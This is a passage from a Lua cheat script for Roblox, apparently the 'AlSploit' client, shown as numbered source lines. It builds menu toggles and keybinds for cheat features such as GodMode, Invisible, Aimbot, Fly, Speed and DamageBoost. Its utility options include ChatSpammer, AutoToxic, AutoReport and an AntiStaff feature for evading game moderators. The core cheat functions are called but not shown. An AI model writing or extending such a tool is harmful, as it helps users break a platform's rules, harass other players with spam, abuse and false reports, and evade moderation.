  3270. InstanceUI = CreateKeyBind(BlatantTab, Settings.HighJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3271. Settings.HighJump.KeyBind = CallBack
  3272. end)
  3273. end
  3274.  
  3275. if Value == false then
  3276. InstanceUI:Destroy()
  3277. end
  3278. end)
  3279. end)
  3280.  
  3281. task.spawn(function()
  3282. UserInputService.InputBegan:Connect(function(Input)
  3283. if not UserInputService:GetFocusedTextBox() then
  3284. if Input.KeyCode.Name == Settings.HighJump.KeyBind then
  3285. Settings.HighJump.Value = not Settings.HighJump.Value
  3286.  
  3287. if Settings.HighJump.Value == true then
  3288. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3289. end
  3290.  
  3291. if Settings.HighJump.Value == false then
  3292. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3293. end
  3294. end
  3295. end
  3296. end)
  3297. end)
  3298. end)
  3299.  
  3300. task.spawn(function()
  3301. local GodMode, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "GodMode", Settings.GodMode.Value, function(CallBack)
  3302. Settings.GodMode.Value = CallBack
  3303. end)
  3304.  
  3305. task.spawn(function()
  3306. local InstanceUI
  3307. local Value = false
  3308.  
  3309. DropDownButton.Activated:Connect(function()
  3310. Value = not Value
  3311.  
  3312. if Value == true then
  3313. InstanceUI = CreateKeyBind(BlatantTab, Settings.GodMode.KeyBind, LayoutOrder + 1, function(CallBack)
  3314. Settings.GodMode.KeyBind = CallBack
  3315. end)
  3316. end
  3317.  
  3318. if Value == false then
  3319. InstanceUI:Destroy()
  3320. end
  3321. end)
  3322. end)
  3323.  
  3324. task.spawn(function()
  3325. UserInputService.InputBegan:Connect(function(Input)
  3326. if not UserInputService:GetFocusedTextBox() then
  3327. if Input.KeyCode.Name == Settings.GodMode.KeyBind then
  3328. Settings.GodMode.Value = not Settings.GodMode.Value
  3329.  
  3330. if Settings.GodMode.Value == true then
  3331. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3332. end
  3333.  
  3334. if Settings.GodMode.Value == false then
  3335. FlyValue = false
  3336. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3337. end
  3338. end
  3339. end
  3340. end)
  3341. end)
  3342. end)
  3343.  
  3344. task.spawn(function()
  3345. local Invisible, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Invisible", Settings.Invisible.Value, function(CallBack)
  3346. Settings.Invisible.Value = CallBack
  3347.  
  3348. task.spawn(function()
  3349. if Settings.Invisible.Value == true then
  3350. Invisibility()
  3351. end
  3352.  
  3353. task.spawn(function()
  3354. LocalPlayer.CharacterAdded:Connect(function()
  3355. task.wait(0.3)
  3356.  
  3357. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3358. Invisibility()
  3359. end
  3360. end)
  3361. end)
  3362. end)
  3363. end)
  3364.  
  3365. task.spawn(function()
  3366. local InstanceUI
  3367. local Value = false
  3368.  
  3369. DropDownButton.Activated:Connect(function()
  3370. Value = not Value
  3371.  
  3372. if Value == true then
  3373. InstanceUI = CreateKeyBind(BlatantTab, Settings.Invisible.KeyBind, LayoutOrder + 1, function(CallBack)
  3374. Settings.Invisible.KeyBind = CallBack
  3375. end)
  3376. end
  3377.  
  3378. if Value == false then
  3379. InstanceUI:Destroy()
  3380. end
  3381. end)
  3382. end)
  3383.  
  3384. task.spawn(function()
  3385. UserInputService.InputBegan:Connect(function(Input)
  3386. if not UserInputService:GetFocusedTextBox() then
  3387. if Input.KeyCode.Name == Settings.Invisible.KeyBind then
  3388. Settings.Invisible.Value = not Settings.Invisible.Value
  3389.  
  3390. task.spawn(function()
  3391. if Settings.Invisible.Value == true then
  3392. Invisibility()
  3393. end
  3394.  
  3395. task.spawn(function()
  3396. LocalPlayer.CharacterAdded:Connect(function()
  3397. task.wait(0.3)
  3398.  
  3399. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3400. Invisibility()
  3401. end
  3402. end)
  3403. end)
  3404. end)
  3405.  
  3406. if Settings.Invisible.Value == true then
  3407. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3408. end
  3409.  
  3410. if Settings.Invisible.Value == false then
  3411. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3412. end
  3413. end
  3414. end
  3415. end)
  3416. end)
  3417. end)
  3418.  
  3419. task.spawn(function()
  3420. local Scaffold, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Scaffold", Settings.Scaffold.Value, function(CallBack)
  3421. Settings.Scaffold.Value = CallBack
  3422. end)
  3423.  
  3424. task.spawn(function()
  3425. local InstanceUI
  3426. local Value = false
  3427.  
  3428. DropDownButton.Activated:Connect(function()
  3429. Value = not Value
  3430.  
  3431. if Value == true then
  3432. InstanceUI = CreateKeyBind(BlatantTab, Settings.Scaffold.KeyBind, LayoutOrder + 1, function(CallBack)
  3433. Settings.Scaffold.KeyBind = CallBack
  3434. end)
  3435. end
  3436.  
  3437. if Value == false then
  3438. InstanceUI:Destroy()
  3439. end
  3440. end)
  3441. end)
  3442.  
  3443. task.spawn(function()
  3444. UserInputService.InputBegan:Connect(function(Input)
  3445. if not UserInputService:GetFocusedTextBox() then
  3446. if Input.KeyCode.Name == Settings.Scaffold.KeyBind then
  3447. Settings.Scaffold.Value = not Settings.Scaffold.Value
  3448.  
  3449. if Settings.Scaffold.Value == true then
  3450. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3451. end
  3452.  
  3453. if Settings.Scaffold.Value == false then
  3454. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3455. end
  3456. end
  3457. end
  3458. end)
  3459. end)
  3460.  
  3461. task.spawn(function()
  3462. local InstanceUI
  3463. local Value = false
  3464.  
  3465. DropDownButton.Activated:Connect(function()
  3466. Value = not Value
  3467.  
  3468. if Value == true then
  3469. InstanceUI = CreateSlider(BlatantTab, "ExpandDistance", Settings.Scaffold.ExpandDistance, 4, LayoutOrder + 2, function(CallBack)
  3470. Settings.Scaffold.ExpandDistance = CallBack
  3471. end)
  3472. end
  3473.  
  3474. if Value == false then
  3475. InstanceUI:Destroy()
  3476. end
  3477. end)
  3478. end)
  3479. end)
  3480.  
  3481. task.spawn(function()
  3482. local Aimbot, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Aimbot", Settings.Aimbot.Value, function(CallBack)
  3483. Settings.Aimbot.Value = CallBack
  3484. end)
  3485.  
  3486. task.spawn(function()
  3487. local InstanceUI
  3488. local Value = false
  3489.  
  3490. DropDownButton.Activated:Connect(function()
  3491. Value = not Value
  3492.  
  3493. if Value == true then
  3494. InstanceUI = CreateKeyBind(BlatantTab, Settings.Aimbot.KeyBind, LayoutOrder + 1, function(CallBack)
  3495. Settings.Aimbot.KeyBind = CallBack
  3496. end)
  3497. end
  3498.  
  3499. if Value == false then
  3500. InstanceUI:Destroy()
  3501. end
  3502. end)
  3503. end)
  3504.  
  3505. task.spawn(function()
  3506. UserInputService.InputBegan:Connect(function(Input)
  3507. if not UserInputService:GetFocusedTextBox() then
  3508. if Input.KeyCode.Name == Settings.Aimbot.KeyBind then
  3509. Settings.Aimbot.Value = not Settings.Aimbot.Value
  3510.  
  3511. if Settings.Aimbot.Value == true then
  3512. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3513. end
  3514.  
  3515. if Settings.Aimbot.Value == false then
  3516. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3517. end
  3518. end
  3519. end
  3520. end)
  3521. end)
  3522.  
  3523. task.spawn(function()
  3524. local InstanceUI
  3525. local Value = false
  3526.  
  3527. DropDownButton.Activated:Connect(function()
  3528. Value = not Value
  3529.  
  3530. if Value == true then
  3531. InstanceUI = CreateMiniToggle(BlatantTab, "ToolCheck", Settings.Aimbot.ToolCheck, LayoutOrder + 2, function(CallBack)
  3532. Settings.Aimbot.ToolCheck = CallBack
  3533. end)
  3534. end
  3535.  
  3536. if Value == false then
  3537. InstanceUI:Destroy()
  3538. end
  3539. end)
  3540. end)
  3541. end)
  3542.  
  3543. task.spawn(function()
  3544. local NoFall, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoFall", Settings.NoFall.Value, function(CallBack)
  3545. Settings.NoFall.Value = CallBack
  3546. end)
  3547.  
  3548. task.spawn(function()
  3549. local InstanceUI
  3550. local Value = false
  3551.  
  3552. DropDownButton.Activated:Connect(function()
  3553. Value = not Value
  3554.  
  3555. if Value == true then
  3556. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoFall.KeyBind, LayoutOrder + 1, function(CallBack)
  3557. Settings.NoFall.KeyBind = CallBack
  3558. end)
  3559. end
  3560.  
  3561. if Value == false then
  3562. InstanceUI:Destroy()
  3563. end
  3564. end)
  3565. end)
  3566.  
  3567. task.spawn(function()
  3568. UserInputService.InputBegan:Connect(function(Input)
  3569. if not UserInputService:GetFocusedTextBox() then
  3570. if Input.KeyCode.Name == Settings.NoFall.KeyBind then
  3571. Settings.NoFall.Value = not Settings.NoFall.Value
  3572.  
  3573. if Settings.NoFall.Value == true then
  3574. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3575. end
  3576.  
  3577. if Settings.NoFall.Value == false then
  3578. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3579. end
  3580. end
  3581. end
  3582. end)
  3583. end)
  3584. end)
  3585.  
  3586. task.spawn(function()
  3587. local Speed, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Speed", Settings.Speed.Value, function(CallBack)
  3588. Settings.Speed.Value = CallBack
  3589. end)
  3590.  
  3591. task.spawn(function()
  3592. local InstanceUI
  3593. local Value = false
  3594.  
  3595. DropDownButton.Activated:Connect(function()
  3596. Value = not Value
  3597.  
  3598. if Value == true then
  3599. InstanceUI = CreateKeyBind(BlatantTab, Settings.Speed.KeyBind, LayoutOrder + 1, function(CallBack)
  3600. Settings.Speed.KeyBind = CallBack
  3601. end)
  3602. end
  3603.  
  3604. if Value == false then
  3605. InstanceUI:Destroy()
  3606. end
  3607. end)
  3608. end)
  3609.  
  3610. task.spawn(function()
  3611. UserInputService.InputBegan:Connect(function(Input)
  3612. if not UserInputService:GetFocusedTextBox() then
  3613. if Input.KeyCode.Name == Settings.Speed.KeyBind then
  3614. Settings.Speed.Value = not Settings.Speed.Value
  3615.  
  3616. if Settings.Speed.Value == true then
  3617. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3618. end
  3619.  
  3620. if Settings.Speed.Value == false then
  3621. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3622. end
  3623. end
  3624. end
  3625. end)
  3626. end)
  3627.  
  3628. task.spawn(function()
  3629. local InstanceUI
  3630. local Value = false
  3631.  
  3632. DropDownButton.Activated:Connect(function()
  3633. Value = not Value
  3634.  
  3635. if Value == true then
  3636. InstanceUI = CreateSlider(BlatantTab, "Speed", Settings.Speed.Speed, 23, LayoutOrder + 2, function(CallBack)
  3637. Settings.Speed.Speed = CallBack
  3638. end)
  3639. end
  3640.  
  3641. if Value == false then
  3642. InstanceUI:Destroy()
  3643. end
  3644. end)
  3645. end)
  3646. end)
  3647.  
  3648. task.spawn(function()
  3649. local Fly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Fly", Settings.Fly.Value, function(CallBack)
  3650. Settings.Fly.Value = CallBack
  3651.  
  3652. task.spawn(function()
  3653. if Settings.Fly.Value == true then
  3654. FlyValue = true
  3655. FlyMe()
  3656. end
  3657. end)
  3658. end)
  3659.  
  3660. task.spawn(function()
  3661. local InstanceUI
  3662. local Value = false
  3663.  
  3664. DropDownButton.Activated:Connect(function()
  3665. Value = not Value
  3666.  
  3667. if Value == true then
  3668. InstanceUI = CreateKeyBind(BlatantTab, Settings.Fly.KeyBind, LayoutOrder + 1, function(CallBack)
  3669. Settings.Fly.KeyBind = CallBack
  3670. end)
  3671. end
  3672.  
  3673. if Value == false then
  3674. InstanceUI:Destroy()
  3675. end
  3676. end)
  3677. end)
  3678.  
  3679. task.spawn(function()
  3680. UserInputService.InputBegan:Connect(function(Input)
  3681. if not UserInputService:GetFocusedTextBox() then
  3682. if Input.KeyCode.Name == Settings.Fly.KeyBind then
  3683. Settings.Fly.Value = not Settings.Fly.Value
  3684.  
  3685. if Settings.Fly.Value == true then
  3686. task.spawn(function()
  3687. if Settings.Fly.Value == true then
  3688. FlyValue = true
  3689. FlyMe()
  3690. end
  3691. end)
  3692.  
  3693. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3694. end
  3695.  
  3696. if Settings.Fly.Value == false then
  3697. FlyValue = false
  3698. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3699. end
  3700. end
  3701. end
  3702. end)
  3703. end)
  3704. end)
  3705.  
  3706. task.spawn(function()
  3707. local DamageBoost, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "DamageBoost", Settings.DamageBoost.Value, function(CallBack)
  3708. Settings.DamageBoost.Value = CallBack
  3709. end)
  3710.  
  3711. task.spawn(function()
  3712. local InstanceUI
  3713. local Value = false
  3714.  
  3715. DropDownButton.Activated:Connect(function()
  3716. Value = not Value
  3717.  
  3718. if Value == true then
  3719. InstanceUI = CreateKeyBind(UtilityTab, Settings.DamageBoost.KeyBind, LayoutOrder + 1, function(CallBack)
  3720. Settings.DamageBoost.KeyBind = CallBack
  3721. end)
  3722. end
  3723.  
  3724. if Value == false then
  3725. InstanceUI:Destroy()
  3726. end
  3727. end)
  3728. end)
  3729.  
  3730. task.spawn(function()
  3731. UserInputService.InputBegan:Connect(function(Input)
  3732. if not UserInputService:GetFocusedTextBox() then
  3733. if Input.KeyCode.Name == Settings.DamageBoost.KeyBind then
  3734. Settings.DamageBoost.Value = not Settings.DamageBoost.Value
  3735.  
  3736. if Settings.DamageBoost.Value == true then
  3737. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3738. end
  3739.  
  3740. if Settings.DamageBoost.Value == false then
  3741. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3742. end
  3743. end
  3744. end
  3745. end)
  3746. end)
  3747. end)
  3748.  
  3749. task.spawn(function()
  3750. local ChatSpammer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "ChatSpammer", Settings.ChatSpammer.Value, function(CallBack)
  3751. Settings.ChatSpammer.Value = CallBack
  3752. end)
  3753.  
  3754. task.spawn(function()
  3755. local InstanceUI
  3756. local Value = false
  3757.  
  3758. DropDownButton.Activated:Connect(function()
  3759. Value = not Value
  3760.  
  3761. if Value == true then
  3762. InstanceUI = CreateKeyBind(UtilityTab, Settings.ChatSpammer.KeyBind, LayoutOrder + 1, function(CallBack)
  3763. Settings.ChatSpammer.KeyBind = CallBack
  3764. end)
  3765. end
  3766.  
  3767. if Value == false then
  3768. InstanceUI:Destroy()
  3769. end
  3770. end)
  3771. end)
  3772.  
  3773. task.spawn(function()
  3774. UserInputService.InputBegan:Connect(function(Input)
  3775. if not UserInputService:GetFocusedTextBox() then
  3776. if Input.KeyCode.Name == Settings.ChatSpammer.KeyBind then
  3777. Settings.ChatSpammer.Value = not Settings.ChatSpammer.Value
  3778.  
  3779. if Settings.ChatSpammer.Value == true then
  3780. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3781. end
  3782.  
  3783. if Settings.ChatSpammer.Value == false then
  3784. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3785. end
  3786. end
  3787. end
  3788. end)
  3789. end)
  3790.  
  3791. task.spawn(function()
  3792. local InstanceUI
  3793. local Value = false
  3794.  
  3795. DropDownButton.Activated:Connect(function()
  3796. Value = not Value
  3797.  
  3798. if Value == true then
  3799. InstanceUI = CreateSlider(UtilityTab, "Speed", Settings.ChatSpammer.Speed, 100, LayoutOrder + 2, function(CallBack)
  3800. Settings.ChatSpammer.Speed = CallBack
  3801. end)
  3802. end
  3803.  
  3804. if Value == false then
  3805. InstanceUI:Destroy()
  3806. end
  3807. end)
  3808. end)
  3809. end)
  3810.  
  3811. task.spawn(function()
  3812. local AutoReport, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoReport", Settings.AutoReport.Value, function(CallBack)
  3813. Settings.AutoReport.Value = CallBack
  3814. end)
  3815.  
  3816. task.spawn(function()
  3817. local InstanceUI
  3818. local Value = false
  3819.  
  3820. DropDownButton.Activated:Connect(function()
  3821. Value = not Value
  3822.  
  3823. if Value == true then
  3824. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoReport.KeyBind, LayoutOrder + 1, function(CallBack)
  3825. Settings.AutoReport.KeyBind = CallBack
  3826. end)
  3827. end
  3828.  
  3829. if Value == false then
  3830. InstanceUI:Destroy()
  3831. end
  3832. end)
  3833. end)
  3834.  
  3835. task.spawn(function()
  3836. UserInputService.InputBegan:Connect(function(Input)
  3837. if not UserInputService:GetFocusedTextBox() then
  3838. if Input.KeyCode.Name == Settings.AutoReport.KeyBind then
  3839. Settings.AutoReport.Value = not Settings.AutoReport.Value
  3840.  
  3841. if Settings.AutoReport.Value == true then
  3842. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3843. end
  3844.  
  3845. if Settings.AutoReport.Value == false then
  3846. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3847. end
  3848. end
  3849. end
  3850. end)
  3851. end)
  3852. end)
  3853.  
  3854. task.spawn(function()
  3855. local FpsBooster, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "FpsBooster", Settings.FpsBooster.Value, function(CallBack)
  3856. Settings.FpsBooster.Value = CallBack
  3857.  
  3858. if Settings.FpsBooster.Value == true then
  3859. FpsBoost()
  3860.  
  3861. task.spawn(function()
  3862. CreateNotification(5, "AlSploit is now in balanced mode")
  3863. end)
  3864. end
  3865.  
  3866. if Settings.FpsBooster.Value == false then
  3867. task.spawn(function()
  3868. CreateNotification(5, "AlSploit is now in performance mode")
  3869. end)
  3870. end
  3871. end)
  3872.  
  3873. task.spawn(function()
  3874. local InstanceUI
  3875. local Value = false
  3876.  
  3877. DropDownButton.Activated:Connect(function()
  3878. Value = not Value
  3879.  
  3880. if Value == true then
  3881. InstanceUI = CreateKeyBind(UtilityTab, Settings.FpsBooster.KeyBind, LayoutOrder + 1, function(CallBack)
  3882. Settings.FpsBooster.KeyBind = CallBack
  3883. end)
  3884. end
  3885.  
  3886. if Value == false then
  3887. InstanceUI:Destroy()
  3888. end
  3889. end)
  3890. end)
  3891.  
  3892. task.spawn(function()
  3893. UserInputService.InputBegan:Connect(function(Input)
  3894. if not UserInputService:GetFocusedTextBox() then
  3895. if Input.KeyCode.Name == Settings.FpsBooster.KeyBind then
  3896. Settings.FpsBooster.Value = not Settings.FpsBooster.Value
  3897.  
  3898. if Settings.FpsBooster.Value == true then
  3899. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3900. end
  3901.  
  3902. if Settings.FpsBooster.Value == false then
  3903. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3904. end
  3905. end
  3906. end
  3907. end)
  3908. end)
  3909. end)
  3910.  
  3911. task.spawn(function()
  3912. local PlayAgain, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "PlayAgain", Settings.PlayAgain.Value, function(CallBack)
  3913. Settings.PlayAgain.Value = CallBack
  3914. end)
  3915.  
  3916. task.spawn(function()
  3917. local InstanceUI
  3918. local Value = false
  3919.  
  3920. DropDownButton.Activated:Connect(function()
  3921. Value = not Value
  3922.  
  3923. if Value == true then
  3924. InstanceUI = CreateKeyBind(UtilityTab, Settings.PlayAgain.KeyBind, LayoutOrder + 1, function(CallBack)
  3925. Settings.PlayAgain.KeyBind = CallBack
  3926. end)
  3927. end
  3928.  
  3929. if Value == false then
  3930. InstanceUI:Destroy()
  3931. end
  3932. end)
  3933. end)
  3934.  
  3935. task.spawn(function()
  3936. UserInputService.InputBegan:Connect(function(Input)
  3937. if not UserInputService:GetFocusedTextBox() then
  3938. if Input.KeyCode.Name == Settings.PlayAgain.KeyBind then
  3939. Settings.PlayAgain.Value = not Settings.PlayAgain.Value
  3940.  
  3941. if Settings.PlayAgain.Value == true then
  3942. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3943. end
  3944.  
  3945. if Settings.PlayAgain.Value == false then
  3946. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3947. end
  3948. end
  3949. end
  3950. end)
  3951. end)
  3952. end)
  3953.  
  3954. task.spawn(function()
  3955. local AutoToxic, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoToxic", Settings.AutoToxic.Value, function(CallBack)
  3956. Settings.AutoToxic.Value = CallBack
  3957. end)
  3958.  
  3959. task.spawn(function()
  3960. local InstanceUI
  3961. local Value = false
  3962.  
  3963. DropDownButton.Activated:Connect(function()
  3964. Value = not Value
  3965.  
  3966. if Value == true then
  3967. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoToxic.KeyBind, LayoutOrder + 1, function(CallBack)
  3968. Settings.AutoToxic.KeyBind = CallBack
  3969. end)
  3970. end
  3971.  
  3972. if Value == false then
  3973. InstanceUI:Destroy()
  3974. end
  3975. end)
  3976. end)
  3977.  
  3978. task.spawn(function()
  3979. UserInputService.InputBegan:Connect(function(Input)
  3980. if not UserInputService:GetFocusedTextBox() then
  3981. if Input.KeyCode.Name == Settings.AutoToxic.KeyBind then
  3982. Settings.AutoToxic.Value = not Settings.AutoToxic.Value
  3983.  
  3984. if Settings.AutoToxic.Value == true then
  3985. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3986. end
  3987.  
  3988. if Settings.AutoToxic.Value == false then
  3989. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3990. end
  3991. end
  3992. end
  3993. end)
  3994. end)
  3995. end)
  3996.  
  3997. task.spawn(function()
  3998. local AutoBank, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBank", Settings.AutoBank.Value, function(CallBack)
  3999. Settings.AutoBank.Value = CallBack
  4000. end)
  4001.  
  4002. task.spawn(function()
  4003. local InstanceUI
  4004. local Value = false
  4005.  
  4006. DropDownButton.Activated:Connect(function()
  4007. Value = not Value
  4008.  
  4009. if Value == true then
  4010. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBank.KeyBind, LayoutOrder + 1, function(CallBack)
  4011. Settings.AutoBank.KeyBind = CallBack
  4012. end)
  4013. end
  4014.  
  4015. if Value == false then
  4016. InstanceUI:Destroy()
  4017. end
  4018. end)
  4019. end)
  4020.  
  4021. task.spawn(function()
  4022. UserInputService.InputBegan:Connect(function(Input)
  4023. if not UserInputService:GetFocusedTextBox() then
  4024. if Input.KeyCode.Name == Settings.AutoBank.KeyBind then
  4025. Settings.AutoBank.Value = not Settings.AutoBank.Value
  4026.  
  4027. if Settings.AutoBank.Value == true then
  4028. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4029. end
  4030.  
  4031. if Settings.AutoBank.Value == false then
  4032. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4033. end
  4034. end
  4035. end
  4036. end)
  4037. end)
  4038.  
  4039. task.spawn(function()
  4040. local InstanceUI
  4041. local Value = false
  4042.  
  4043. DropDownButton.Activated:Connect(function()
  4044. Value = not Value
  4045.  
  4046. if Value == true then
  4047. InstanceUI = CreateSlider(UtilityTab, "Range", Settings.AutoBank.Range, 30, LayoutOrder + 2, function(CallBack)
  4048. Settings.AutoBank.Range = CallBack
  4049. end)
  4050. end
  4051.  
  4052. if Value == false then
  4053. InstanceUI:Destroy()
  4054. end
  4055. end)
  4056. end)
  4057. end)
  4058.  
  4059. task.spawn(function()
  4060. local AntiStaff, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AntiStaff", Settings.AntiStaff.Value, function(CallBack)
  4061. Settings.AntiStaff.Value = CallBack
  4062. end)
  4063.  
  4064. task.spawn(function()
  4065. local InstanceUI
  4066. local Value = false
  4067.  
  4068. DropDownButton.Activated:Connect(function()
  4069. Value = not Value
  4070.  
  4071. if Value == true then
  4072. InstanceUI = CreateKeyBind(UtilityTab, Settings.AntiStaff.KeyBind, LayoutOrder + 1, function(CallBack)
  4073. Settings.AntiStaff.KeyBind = CallBack
  4074. end)
  4075. end
  4076.  
  4077. if Value == false then
  4078. InstanceUI:Destroy()
  4079. end
  4080. end)
  4081. end)
  4082.  
  4083. task.spawn(function()
  4084. UserInputService.InputBegan:Connect(function(Input)
  4085. if not UserInputService:GetFocusedTextBox() then
  4086. if Input.KeyCode.Name == Settings.AntiStaff.KeyBind then
  4087. Settings.AntiStaff.Value = not Settings.AntiStaff.Value
  4088.  
  4089. if Settings.AntiStaff.Value == true then
  4090. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4091. end
  4092.  
  4093. if Settings.AntiStaff.Value == false then
  4094. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4095. end
  4096. end
  4097. end
  4098. end)
  4099. end)
  4100.  
  4101. task.spawn(function()
  4102. local InstanceUI
  4103. local Value = false
  4104.  
  4105. DropDownButton.Activated:Connect(function()
  4106. Value = not Value
  4107.  
  4108. if Value == true then
  4109. InstanceUI = CreateMiniToggle(UtilityTab, "Kick", Settings.AntiStaff.Kick, LayoutOrder + 2, function(CallBack)
  4110. Settings.AntiStaff.Kick = CallBack
  4111. end)
  4112. end
  4113.  
  4114. if Value == false then
  4115. InstanceUI:Destroy()
  4116. end
  4117. end)
  4118. end)
  4119. end)
  4120.  
  4121. task.spawn(function()
  4122. local AutoBuy, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBuy", Settings.AutoBuy.Value, function(CallBack)
  4123. Settings.AutoBuy.Value = CallBack
  4124. end)
